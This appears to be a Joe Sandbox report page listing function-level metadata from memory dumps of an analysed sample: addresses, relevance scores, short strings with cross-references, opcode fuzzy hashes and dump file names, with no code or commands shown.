Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: !$a$~|$
API String ID: 0-3233831225
Opcode ID: 05359648fa070018e225b189fc87e60c6cd8efe2b6b93e0a99eb65ff5e2bb40b
Instruction ID: a7092dccaec3a99042afd7f3d561af4530ff1e1d4cc76053c07a68bd811895bc
Opcode Fuzzy Hash: 05359648fa070018e225b189fc87e60c6cd8efe2b6b93e0a99eb65ff5e2bb40b
Instruction Fuzzy Hash: 14B1DB31608B928BC709EA3CD8444FBB3D2EBD6321F648A6DC5C68B2D5DB759406CB81

Uniqueness

Uniqueness Score: -1.00%

Function 010B444D Relevance: 4.1, Strings: 3, Instructions: 332COMMON

Download Yara Rule

Strings

^, xrefs: 010B4547
B, xrefs: 010B44E2
~|$, xrefs: 010722C8

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: B$^$~|$
API String ID: 0-2801641371
Opcode ID: b169566d8d9c2ecf29acd2577fae450124605f35380fe1c723d1bc7c2f23bc87
Instruction ID: af89184bc095bf70dc827e845aacba372334f96971cd23a2b4ae0d584c60a935
Opcode Fuzzy Hash: b169566d8d9c2ecf29acd2577fae450124605f35380fe1c723d1bc7c2f23bc87
Instruction Fuzzy Hash: A2B1753141CA1A8BC70CAE28A8440FAB3D6EBD6325F609B3DC5D7C71E5D6259017CB85

Uniqueness

Uniqueness Score: -1.00%

Function 01105150 Relevance: 4.1, Strings: 3, Instructions: 332COMMON

Download Yara Rule

Strings

h, xrefs: 0118A1E1
7, xrefs: 0118A29C
M, xrefs: 0118A28D

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 7$M$h
API String ID: 0-816889277
Opcode ID: 042f89c22dfe47d75b3dfa4ea44a98c2b05dd065ba4a8f215cc5d113980865e6
Instruction ID: 53ef1dd1d57893450e7117577aa495c44ee0d080052749a164851e5c65d26055
Opcode Fuzzy Hash: 042f89c22dfe47d75b3dfa4ea44a98c2b05dd065ba4a8f215cc5d113980865e6
Instruction Fuzzy Hash: 59C177316187068BC32DEF2CD8405AAB3E2FBC6310F508B7EA49AC75D5DB75941ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 0109161B Relevance: 4.1, Strings: 3, Instructions: 319COMMON

Download Yara Rule

Strings

', xrefs: 01026574
!, xrefs: 010265E5
B, xrefs: 01174A68

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: !$'$B
API String ID: 0-1105942719
Opcode ID: f187882ba3203511d595c82a7b7db92fcaa5ad3959ef25a8a88590d6d976d3d6
Instruction ID: fac133cdbe9f1cb37baee0f390815cab2b2791b1d50f10943a96f3ed184bfd30
Opcode Fuzzy Hash: f187882ba3203511d595c82a7b7db92fcaa5ad3959ef25a8a88590d6d976d3d6
Instruction Fuzzy Hash: 17B19636118B134BC718EB38A8901FAB3E1EBC6321F689B2DD4A6C75D5D738251A8B41

Uniqueness

Uniqueness Score: -1.00%

Function 01071D4A Relevance: 4.0, Strings: 3, Instructions: 276COMMON

Download Yara Rule

Strings

;, xrefs: 01071D65
=7, xrefs: 0129F5D0
v, xrefs: 01071D70

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: ;$=7$v
API String ID: 0-2161457615
Opcode ID: 8662be2e360f0719c561a36f8023156825846a0da5bd54c1d916442758525dc5
Instruction ID: cdd086c74a18915b8329ad323cde59d078719f001b54fb7584ef9e66c5041cb5
Opcode Fuzzy Hash: 8662be2e360f0719c561a36f8023156825846a0da5bd54c1d916442758525dc5
Instruction Fuzzy Hash: 83A17471208B128BC319EF7DD8504BBB3E2EBC6314F608B3E9596871D9CB35951ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 0101F044 Relevance: 4.0, Strings: 3, Instructions: 244COMMON

Download Yara Rule

Strings

h, xrefs: 0118A1E1
7, xrefs: 0118A29C
M, xrefs: 0118A28D

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 7$M$h
API String ID: 0-816889277
Opcode ID: 007a64898f2973ff35ed4d71b9a0ee2336f24aff30a1e140a546394069d6fe47
Instruction ID: 889936637176501da79232ae8eb3979c8f6b1b623963dca2c765c8cbfd9357f9
Opcode Fuzzy Hash: 007a64898f2973ff35ed4d71b9a0ee2336f24aff30a1e140a546394069d6fe47
Instruction Fuzzy Hash: A5817A32618B1B4BC32CEE38D8415A773D2EBC6320F50873DA596C35D4EB78951ACAC1

Uniqueness

Uniqueness Score: -1.00%

Function 0109558C Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

W, xrefs: 012C0E67
", xrefs: 0124B88B
.y56, xrefs: 01258AF0

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: "$.y56$W
API String ID: 0-3474191733
Opcode ID: b161185987881332c46ae33ca315f1b750b12cd6c71f6451400581cdaf84560b
Instruction ID: 3d6feab4d2283e21534ca6add47dad13bb70c6f813b25fb4941e799d9fe2f3dc
Opcode Fuzzy Hash: b161185987881332c46ae33ca315f1b750b12cd6c71f6451400581cdaf84560b
Instruction Fuzzy Hash: 7A918532514B138BC728EB28E8544EBB3E2FFD5325F948A3DC5A6835D5DB385006CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0121DDCF Relevance: 4.0, Strings: 3, Instructions: 235COMMON

Download Yara Rule

Strings

b, xrefs: 010F8C14
E, xrefs: 0129410F
N, xrefs: 010F8BFB

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: E$N$b
API String ID: 0-1362188629
Opcode ID: a9a79bc144adf19d7ed3d3cf6b06af7d138497475be25ee2b2fba62e155f3da5
Instruction ID: 01f817d2d61ffd9dc4737406fde32004d9f9c8286176a2910d9e0f1359f15b9f
Opcode Fuzzy Hash: a9a79bc144adf19d7ed3d3cf6b06af7d138497475be25ee2b2fba62e155f3da5
Instruction Fuzzy Hash: 01618732548F2A8BC31CEB29AC861A6B3D1EBC5325F048B2ED9D7D3095C73564178AC2

Uniqueness

Uniqueness Score: -1.00%

Function 011C27F7 Relevance: 3.9, Strings: 3, Instructions: 196COMMON

Download Yara Rule

Strings

e, xrefs: 011C2940
T, xrefs: 010D104A
Y, xrefs: 0105C545

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: T$Y$e
API String ID: 0-2344404785
Opcode ID: 120b219836fcb4a824b59158d3bbcd4aa0e838512bc8e025c545593f5a6af4d0
Instruction ID: 9ffc875fcf4fc91d6c325acb1fdcc7fd9f94bb0df24c411a83a1891c827a3d6f
Opcode Fuzzy Hash: 120b219836fcb4a824b59158d3bbcd4aa0e838512bc8e025c545593f5a6af4d0
Instruction Fuzzy Hash: EB51C731118A2247C708EA3ADC901F773D3EBE9325F208B3C95A7CB1D8E775941ACA42

Uniqueness

Uniqueness Score: -1.00%

Function 00FD7DEF Relevance: 3.9, Strings: 3, Instructions: 144COMMON

Download Yara Rule

Strings

W, xrefs: 00FD7DF3
o, xrefs: 012B85D2
A, xrefs: 01183E1A

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: A$W$o
API String ID: 0-3388414935
Opcode ID: 7f75ca9b4345b604ebe7a58503febcc2f0f136b9290cbce9559fe246a3a33d59
Instruction ID: 541f35c2846cdc2daef58e7f02031768bd4d73977045b1187fd3fa653c8c23b8
Opcode Fuzzy Hash: 7f75ca9b4345b604ebe7a58503febcc2f0f136b9290cbce9559fe246a3a33d59
Instruction Fuzzy Hash: 60512671618B139BC328EF2CE4415BAB7D2FFD4310FA0CA2D959687684E73554268B86

Uniqueness

Uniqueness Score: -1.00%

Function 0102C0DF Relevance: 3.9, Strings: 3, Instructions: 136COMMON

Download Yara Rule

Strings

\, xrefs: 0102C143
b, xrefs: 0102C1C3
G, xrefs: 011294DD

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: G$\$b
API String ID: 0-877886763
Opcode ID: f29fd55f430730c71742080aef5d853a19d908e9f3f837f2942d7a07df78e703
Instruction ID: 4ac46f4cde21676b5fe3545a6ea2a59f079456c0d3f7eae8a342b655ae903ed9
Opcode Fuzzy Hash: f29fd55f430730c71742080aef5d853a19d908e9f3f837f2942d7a07df78e703
Instruction Fuzzy Hash: 405143714087528BC354EF3CE48049BFBE2EFC6314F909A6DA4DA8B1D6D77A5129CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0121936B Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

l, xrefs: 01285386
C, xrefs: 012920A6
B, xrefs: 0129207B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: B$C$l
API String ID: 0-208747281
Opcode ID: e2339d9182a9af057472cd0da5e9555a603e94b1deb76156535bac2f11dfb241
Instruction ID: 2f1100bbeb0332e3a40c981c517f200d11c985906c9a331af07c775ad905e463
Opcode Fuzzy Hash: e2339d9182a9af057472cd0da5e9555a603e94b1deb76156535bac2f11dfb241
Instruction Fuzzy Hash: ED4153312187428BD719EF29D4158AAF7E5EFC6320F90CB3D95AA864D9DB34501ACB01

Uniqueness

Uniqueness Score: -1.00%

Function 01076524 Relevance: 3.8, Strings: 3, Instructions: 96COMMON

Download Yara Rule

Strings

I, xrefs: 0107659D
2_>~, xrefs: 01076592
#, xrefs: 01076625

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: #$2_>~$I
API String ID: 0-1789627317
Opcode ID: c2bab331b28c92c989b93ceb624b98a1c791f10f2f920c56bba6ead15514cc60
Instruction ID: 865804f33b491b1f034700058d527ee471ca69bc8dd7d362af6c8945f34931b1
Opcode Fuzzy Hash: c2bab331b28c92c989b93ceb624b98a1c791f10f2f920c56bba6ead15514cc60
Instruction Fuzzy Hash: 2331CB751147128ACB04BF3CD8864EAB795EBC2324FA0DB2C90E5C79E2E726420ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 011C4954 Relevance: 3.8, Strings: 3, Instructions: 96COMMON

Download Yara Rule

Strings

k, xrefs: 011C49BD
!, xrefs: 011C499C
k, xrefs: 012BCF9F

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: !$k$k
API String ID: 0-2061087863
Opcode ID: a275fc2356ef602ad8491eaceaa41f5aa59a097d86dd0b040d95fe695ae29f6a
Instruction ID: e6dd379e15e9b768213bbe9ce31bf9074bdd8db48b431ac0820176cf2e3e9f0f
Opcode Fuzzy Hash: a275fc2356ef602ad8491eaceaa41f5aa59a097d86dd0b040d95fe695ae29f6a
Instruction Fuzzy Hash: CA31793110C7118FC309EB38D5842EBBBD2EFD5324F689A7DC4D982596E3769509CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00F85570 Relevance: 3.4, Strings: 2, Instructions: 884COMMON

Download Yara Rule

Strings

8, xrefs: 00F85F9C
0, xrefs: 00F85FA4

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 0d15e04b9e378560fc4d9377ad86488c9f02f819695dcbea330eb1c671fc4e1f
Instruction ID: f0cab00677595c4c83e7f9fcf6f4c9b616d6d78eaad241214db1e8b782e171ec
Opcode Fuzzy Hash: 0d15e04b9e378560fc4d9377ad86488c9f02f819695dcbea330eb1c671fc4e1f
Instruction Fuzzy Hash: 97828971A087409FDB20DF18C884B9ABBE2BFD8714F48892DF8898B351D775D944DB92

Uniqueness

Uniqueness Score: -1.00%

Function 010EE235 Relevance: 2.9, Strings: 2, Instructions: 366COMMON

Download Yara Rule

Strings

B, xrefs: 01123D6D
+, xrefs: 01053406

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: +$B
API String ID: 0-2724442377
Opcode ID: b83324493b82822bba98ff170399bf4e4e8c8296ed55de46e5fcad5bd5246379
Instruction ID: 1db2d2672cc443b5b50228363d90a6c0ffcb44c67355858815b95accad636e37
Opcode Fuzzy Hash: b83324493b82822bba98ff170399bf4e4e8c8296ed55de46e5fcad5bd5246379
Instruction Fuzzy Hash: 55C1B63252C71B8BC308EF28E8905FB77E2EBD6324F648A3DD59687581D739950ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 01234D78 Relevance: 2.8, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

!, xrefs: 011BFF0F
%, xrefs: 010E4606

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: !$%
API String ID: 0-2082652196
Opcode ID: 53f77aa9efb638d757afe5d8d3d8e1032fc450bafde61467642fcd87da97946f
Instruction ID: 50d40b258e6fbf4ad9c42eaa0327622c1ba91fe52274814b3f97b7d1680db5f8
Opcode Fuzzy Hash: 53f77aa9efb638d757afe5d8d3d8e1032fc450bafde61467642fcd87da97946f
Instruction Fuzzy Hash: 43B186326086478BD71CEF28D8905FAB3E2FBD6310F60867CE8968B6D4EB359516C741

Uniqueness

Uniqueness Score: -1.00%

Function 00FB95F0 Relevance: 2.8, Strings: 2, Instructions: 313COMMON

Download Yara Rule

Strings

R-,T, xrefs: 00FB96A0
R-,T, xrefs: 00FB97B0

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: 364c4937baeef0198fe9ae45eb7f9809d4bd47547bbad8147aae9c2ee33f5ab2
Instruction ID: 33135f4292203c5891e8fe47f297c9a9dbb9e33347d27442de5ab582b0c839e6
Opcode Fuzzy Hash: 364c4937baeef0198fe9ae45eb7f9809d4bd47547bbad8147aae9c2ee33f5ab2
Instruction Fuzzy Hash: FFA1BB71A083128BC714CF19C8907ABBBE2FF89724F188A1CE9959B391D774E815DF91

Uniqueness

Uniqueness Score: -1.00%

Function 0112BEE6 Relevance: 2.8, Strings: 2, Instructions: 271COMMON

Download Yara Rule

Strings

a, xrefs: 0112C07E
;, xrefs: 0112C0A4

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: ;$a
API String ID: 0-472015627
Opcode ID: 8434810fe0ab9f613e1dc6f4de687c77622ab3f4328c704a822d8b2f66cf5fac
Instruction ID: 800a113809f61036aa1420bb524502409dc27173888c0095b534261df6396a20
Opcode Fuzzy Hash: 8434810fe0ab9f613e1dc6f4de687c77622ab3f4328c704a822d8b2f66cf5fac
Instruction Fuzzy Hash: 82A187355187478BC31CDF29E8801AAB3E6FBC4324F14863ED5978B2C5EB306416CB86

Uniqueness

Uniqueness Score: -1.00%

Function 010FF736 Relevance: 2.8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

Strings

b, xrefs: 011E5E0A
A, xrefs: 011F511D

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
